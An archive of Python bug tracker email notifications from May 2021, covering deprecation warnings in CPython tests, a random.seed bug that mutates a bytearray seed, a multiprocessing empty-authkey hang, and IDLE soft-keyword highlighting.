/root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('HEAD', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('HEAD', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('HEAD', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('HEAD', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:279: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('HEAD', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('SEND_ERROR', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('SEND_ERROR', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('SEND_ERROR', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('SEND_ERROR', '/{}'.format(code)) /root/cpython/Lib/test/test_httpservers.py:262: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display self.con.request('SEND_ERROR', '/{}'.format(code)) 0:00:00 load avg: 4.83 [2/2] test_faulthandler /root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display code = code.format( /root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display code = code.format( /root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display code = code.format( /root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display code = code.format( /root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display code = code.format( /root/cpython/Lib/test/test_faulthandler.py:705: DeprecationWarning: in 3.12 format() will use the enum member, not the enum member's value; use a format specifier, such as :d for an IntEnum member, to maintain the current display code = code.format( == Tests result: SUCCESS == All 2 tests OK. Total duration: 22.9 sec Tests result: SUCCESS ---------- components: Tests messages: 392778 nosy: ethan.furman, vstinner, xtreak priority: normal severity: normal status: open title: Enum related deprecation warnings in test_httpservers and test_faulthandler type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 04:12:53 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 03 May 2021 08:12:53 +0000 Subject: [issue39950] Add pathlib.Path.hardlink_to() In-Reply-To: <1584060605.38.0.95953512485.issue39950@roundup.psfhosted.org> Message-ID: <1620029573.8.0.394278251168.issue39950@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: The changes have introduced deprecation warnings in tests. It seems https://github.com/python/cpython/blob/ad106c68eb00f5e4af2f937107baff6141948cee/Lib/test/test_pathlib.py#L1937 is not covered. ./python -Wall -m test test_pathlib 0:00:00 load avg: 0.81 Run tests sequentially 0:00:00 load avg: 0.81 [1/1] test_pathlib /root/cpython/Lib/pathlib.py:1265: DeprecationWarning: pathlib.Path.link_to() is deprecated and is scheduled for removal in Python 3.12. Use pathlib.Path.hardlink_to() instead. warnings.warn("pathlib.Path.link_to() is deprecated and is scheduled " /root/cpython/Lib/pathlib.py:1265: DeprecationWarning: pathlib.Path.link_to() is deprecated and is scheduled for removal in Python 3.12. Use pathlib.Path.hardlink_to() instead. warnings.warn("pathlib.Path.link_to() is deprecated and is scheduled " == Tests result: SUCCESS == 1 test OK. Total duration: 2.9 sec Tests result: SUCCESS Also it will be nice to point to the line causing deprecation instead of the library soruce code that will help users identify the deprecated usage. Using stacklevel=2 might help here https://docs.python.org/3/library/warnings.html#warnings.warn ./python -Wall -m test test_pathlib 0:00:00 load avg: 1.82 Run tests sequentially 0:00:00 load avg: 1.82 [1/1] test_pathlib /root/cpython/Lib/test/test_pathlib.py:1937: DeprecationWarning: pathlib.Path.link_to() is deprecated and is scheduled for removal in Python 3.12. Use pathlib.Path.hardlink_to() instead. q.link_to(r) /root/cpython/Lib/test/test_pathlib.py:1937: DeprecationWarning: pathlib.Path.link_to() is deprecated and is scheduled for removal in Python 3.12. Use pathlib.Path.hardlink_to() instead. q.link_to(r) == Tests result: SUCCESS == 1 test OK. Total duration: 4.3 sec Tests result: SUCCESS ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 04:17:27 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 03 May 2021 08:17:27 +0000 Subject: [issue44017] Deprecation warning in tests over no current event loop Message-ID: <1620029847.4.0.278202902398.issue44017@roundup.psfhosted.org> New submission from Karthikeyan Singaravelan : Related to warnings from issue39529 ./python -Wall -m test test_contextlib_async test_unittest 0:00:00 load avg: 0.91 Run tests sequentially 0:00:00 load avg: 0.91 [1/2] test_contextlib_async Task was destroyed but it is pending! task: ()>> Task was destroyed but it is pending! task: ()>> Task was destroyed but it is pending! task: ()>> /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) /root/cpython/Lib/test/test_contextlib_async.py:372: DeprecationWarning: There is no current event loop loop = asyncio.get_event_loop() /root/cpython/Lib/test/test_contextlib_async.py:374: DeprecationWarning: There is no current event loop f = asyncio.ensure_future(coro) 0:00:00 load avg: 0.91 [2/2] test_unittest /root/cpython/Lib/unittest/test/testmock/testasync.py:177: DeprecationWarning: There is no current event loop fut = asyncio.Future() == Tests result: SUCCESS == All 2 tests OK. Total duration: 6.5 sec Tests result: SUCCESS ---------- components: Tests, asyncio messages: 392780 nosy: asvetlov, serhiy.storchaka, vstinner, xtreak, yselivanov priority: normal severity: normal status: open title: Deprecation warning in tests over no current event loop type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 04:26:22 2021 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 03 May 2021 08:26:22 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620030382.04.0.740341296438.issue44011@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- pull_requests: +24526 pull_request: https://github.com/python/cpython/pull/25842 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 05:10:34 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Mon, 03 May 2021 09:10:34 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620033034.26.0.295253758943.issue43882@roundup.psfhosted.org> ?ukasz Langa added the comment: Good catch, Greg. Since it's not merged already, this change will miss 3.8.10 but as a security fix will be included in 3.8.11 later in the year. The partial fix already landed in 3.9 will be released in 3.9.5 later today unless it's amended or reverted in a few hours. ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 05:13:38 2021 From: report at bugs.python.org (Eugene Rossokha) Date: Mon, 03 May 2021 09:13:38 +0000 Subject: [issue44018] Bug in random.seed Message-ID: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> New submission from Eugene Rossokha : https://github.com/python/cpython/blob/master/Lib/random.py#L157 If bytearray is passed as a seed, the function will change it. It either has to be documented, or the implementation should change. ---------- components: Library (Lib) messages: 392782 nosy: arjaz priority: normal severity: normal status: open title: Bug in random.seed versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 05:24:39 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Mon, 03 May 2021 09:24:39 +0000 Subject: [issue44018] Bug in random.seed In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620033879.79.0.491645348483.issue44018@roundup.psfhosted.org> Change by Karthikeyan Singaravelan : ---------- nosy: +mark.dickinson, rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 05:31:40 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 03 May 2021 09:31:40 +0000 Subject: [issue44016] Enum related deprecation warnings in test_httpservers and test_faulthandler In-Reply-To: <1620029095.2.0.0849109876545.issue44016@roundup.psfhosted.org> Message-ID: <1620034300.57.0.443729520381.issue44016@roundup.psfhosted.org> Shreyan Avigyan added the comment: Couldn't reproduce warnings for test_faulthandler but found a patch for test_httpservers. I'm opening a PR for it. (Patch adapted from https://github.com/python/cpython/pull/25769) ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 05:31:46 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 03 May 2021 09:31:46 +0000 Subject: [issue44016] Enum related deprecation warnings in test_httpservers and test_faulthandler In-Reply-To: <1620029095.2.0.0849109876545.issue44016@roundup.psfhosted.org> Message-ID: <1620034306.86.0.583118989326.issue44016@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- keywords: +patch pull_requests: +24527 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25844 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 05:35:48 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 03 May 2021 09:35:48 +0000 Subject: [issue44018] Bug in random.seed In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620034548.62.0.507346257917.issue44018@roundup.psfhosted.org> Raymond Hettinger added the comment: I don't see a bug here. As documented, "a str, bytes, or bytearray object gets converted to an int and all of its bits are used." The various input types are converted to an integer and it doesn't really matter how it is done as long as it is consistent. FWIW, the docs link to the source code so it can be examined if needed. ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:00:37 2021 From: report at bugs.python.org (Marwan Essam) Date: Mon, 03 May 2021 10:00:37 +0000 Subject: [issue43983] Can't install Python v3.9.4 / 0x80070643 / windows 10 64bit In-Reply-To: <1619754997.92.0.813433762257.issue43983@roundup.psfhosted.org> Message-ID: <1620036037.71.0.598644090366.issue43983@roundup.psfhosted.org> Marwan Essam added the comment: Hello Steve I did a Windows format and now I can successfully install Python, Thanks for helping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:00:53 2021 From: report at bugs.python.org (Eugene Rossokha) Date: Mon, 03 May 2021 10:00:53 +0000 Subject: [issue44018] Bug in random.seed In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620036053.59.0.196322384535.issue44018@roundup.psfhosted.org> Eugene Rossokha added the comment: I find the following behaviour very confusing: >>> import random >>> a = bytearray("1234", "utf-8") >>> b = bytearray("1234", "utf-8") >>> a == b True >>> random.seed(a) >>> a == b False >>> a bytearray(b'1234\xd4\x04U\x9f`.\xabo\xd6\x02\xacv\x80\xda\xcb\xfa\xad\xd1603^\x95\x1f\tz\xf3\x90\x0e\x9d\xe1v\xb6\xdb(Q/.\x00\x0b\x9d\x04\xfb\xa5\x13>\x8b\x1cn\x8d\xf5\x9d\xb3\xa8\xab\x9d`\xbeK\x97\xcc\x9e\x81\xdb') >>> b bytearray(b'1234') The function doesn't document it will change the input argument ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:07:27 2021 From: report at bugs.python.org (Miguel Brito) Date: Mon, 03 May 2021 10:07:27 +0000 Subject: [issue43952] Multiprocessing UNIX socket connection: client freeze if authkey is an empty byte string In-Reply-To: <1619523915.52.0.163488043908.issue43952@roundup.psfhosted.org> Message-ID: <1620036447.35.0.742848618217.issue43952@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch pull_requests: +24528 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25845 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:11:05 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 03 May 2021 10:11:05 +0000 Subject: [issue43347] IDLE crashes in macOS Apple chip, maybe completions In-Reply-To: <1614559444.76.0.552687903275.issue43347@roundup.psfhosted.org> Message-ID: <1620036665.86.0.689324518063.issue43347@roundup.psfhosted.org> Tal Einat added the comment: Thanks for the info, Raymond. Anyone with an M-1 Mac able to look into this further? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:14:01 2021 From: report at bugs.python.org (Andrew Svetlov) Date: Mon, 03 May 2021 10:14:01 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620036841.44.0.0692869084618.issue44011@roundup.psfhosted.org> Change by Andrew Svetlov : ---------- pull_requests: +24529 pull_request: https://github.com/python/cpython/pull/25846 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:14:15 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 03 May 2021 10:14:15 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1620036855.47.0.202586221431.issue44010@roundup.psfhosted.org> Tal Einat added the comment: Terry, Elisha, does one of you intend to work on this? If not, I'd be willing to. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:20:29 2021 From: report at bugs.python.org (Miguel Brito) Date: Mon, 03 May 2021 10:20:29 +0000 Subject: [issue44018] Bug in random.seed In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620037229.44.0.0196799679551.issue44018@roundup.psfhosted.org> Miguel Brito added the comment: The problem is that random seed will do ``` if isinstance(a, str): a = a.encode() a += _sha512(a).digest() a = int.from_bytes(a, 'big') ``` and that will modify the bytearray in place. >>> a = bytearray("1234", "utf-8") >>> a += b"digest" >>> a bytearray(b'1234digest') IMHO, seed shouldn't modify the input. Since str, and bytes are immutable that will only happen when passing a bytearray which is not consistent. ---------- nosy: +miguendes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:21:39 2021 From: report at bugs.python.org (Miguel Brito) Date: Mon, 03 May 2021 10:21:39 +0000 Subject: [issue43952] Multiprocessing UNIX socket connection: client freeze if authkey is an empty byte string In-Reply-To: <1619523915.52.0.163488043908.issue43952@roundup.psfhosted.org> Message-ID: <1620037299.14.0.38239383055.issue43952@roundup.psfhosted.org> Miguel Brito added the comment: I had a look at the HMAC RFC and apparently empty bytes sequence can be used as secret key. "The definition of HMAC requires a cryptographic hash function, which we denote by H, and a secret key K. ... The authentication key K can be of any length up to B, the block length of the hash function." https://tools.ietf.org/html/rfc2104.html#section-2 Assuming that is the case, the fix would be to change the Listener to: ``` if self._authkey is not None: deliver_challenge(c, self._authkey) answer_challenge(c, self._authkey) return c ``` I created a PR for that, if anyone can review it, I appreciate it. https://github.com/python/cpython/pull/25845 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:25:14 2021 From: report at bugs.python.org (E. Paine) Date: Mon, 03 May 2021 10:25:14 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1620037514.15.0.790590492779.issue44010@roundup.psfhosted.org> E. Paine added the comment: I don't mind, would you like to Tal? (I probably won't be able to dedicate any serious time to it until mid-June). One thing I've been thinking is whether it's worth us highlighting regardless of context. For example, you can assign a variable to a builtin name (not that it's recommended) so we could just give soft keywords their own colour and (unofficially) recommend people don't use such words for variables. I think this would be more future-proof as we wouldn't need to update the regexes for each new soft keyword added. However, we might not want to highlight every time the user has an '_' variable (as is fairly common). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:28:51 2021 From: report at bugs.python.org (Sebastian Rittau) Date: Mon, 03 May 2021 10:28:51 +0000 Subject: [issue38291] Deprecate the typing.io and typing.re pseudo-modules In-Reply-To: <1569584917.37.0.450943031305.issue38291@roundup.psfhosted.org> Message-ID: <1620037731.86.0.125539573792.issue38291@roundup.psfhosted.org> Change by Sebastian Rittau : ---------- nosy: +srittau _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:41:08 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 03 May 2021 10:41:08 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1620038468.91.0.123093972082.issue44010@roundup.psfhosted.org> Tal Einat added the comment: I think it is rather crucial to have this with the 3.10 release. I'll try to get this working ASAP. I agree that a simple "good enough" solution could be a good start, but "_" will likely need special handling. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:42:41 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 03 May 2021 10:42:41 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1620038561.46.0.636664627829.issue44010@roundup.psfhosted.org> Terry J. Reedy added the comment: My plan for the next day or two is to submit followup issue for Shell and formally code what I wrote. The only way to handle soft keywords correctly is with a custom re. I don't expect them to become common. They are different from builtins because they only have special meaning in (so far) definable situations. When builtin is 'redefined, it may or may not be appropriate to keep the highlight. Examples when it is: oldprint = print def print(*args, **kwds: log the print oldprint(*args, **kwds) def intsum(nums, int=int): # Localize int for speed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:49:55 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 03 May 2021 10:49:55 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1620038995.49.0.645900821849.issue44010@roundup.psfhosted.org> Terry J. Reedy added the comment: I agree with getting this in soon. A related request is to to syntax highlight field expressions in f strings. I don't think there is an existing issue. Apparently, at least some alternatives to IDLE do this. I am not sure I would really want it, but we need at least some mockups. Tal, what do you think and are you interested in trying to write a PR? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:51:05 2021 From: report at bugs.python.org (Yann Dirson) Date: Mon, 03 May 2021 10:51:05 +0000 Subject: [issue41222] Undocumented behaviour change of POpen.stdout.readine with bufsize=0 or =1 In-Reply-To: <1594065242.21.0.841046846995.issue41222@roundup.psfhosted.org> Message-ID: <1620039065.51.0.798977178854.issue41222@roundup.psfhosted.org> Yann Dirson added the comment: Relevant commits include this one from v3.1.4: commit 877766dee8e60c7971ed0cabba89fbe981c2ab1b Author: Antoine Pitrou Date: Sat Mar 19 17:00:37 2011 +0100 Issue #11459: A `bufsize` value of 0 in subprocess.Popen() really creates unbuffered pipes, such that select() works properly on them. I can't use that commit without cherry-picking this one from v3.2.2, though: commit e96ec6810184f5daacb2d47ab8801365c99bb206 Author: Antoine Pitrou Date: Sat Jul 23 21:46:35 2011 +0200 Issue #12591: Allow io.TextIOWrapper to work with raw IO objects (without a read1() method), and add an undocumented *write_through* parameter to mandate unbuffered writes. And my test script still shows the same behaviour, with poll.poll() or poll.select(). The fact that my stdout object has no read1() and needs the above patch looks like a good lead for further investigation? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 06:51:53 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 03 May 2021 10:51:53 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1620039113.63.0.855852375624.issue44010@roundup.psfhosted.org> Tal Einat added the comment: > A related request is to to syntax highlight field expressions in f strings. Related, but separate, and IMO not quite as urgent. I can commit to working on this issue (soft keywords), but I'll have to see where things stand once this is finished before moving on to f-strings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 07:37:13 2021 From: report at bugs.python.org (Jakub Kulik) Date: Mon, 03 May 2021 11:37:13 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: 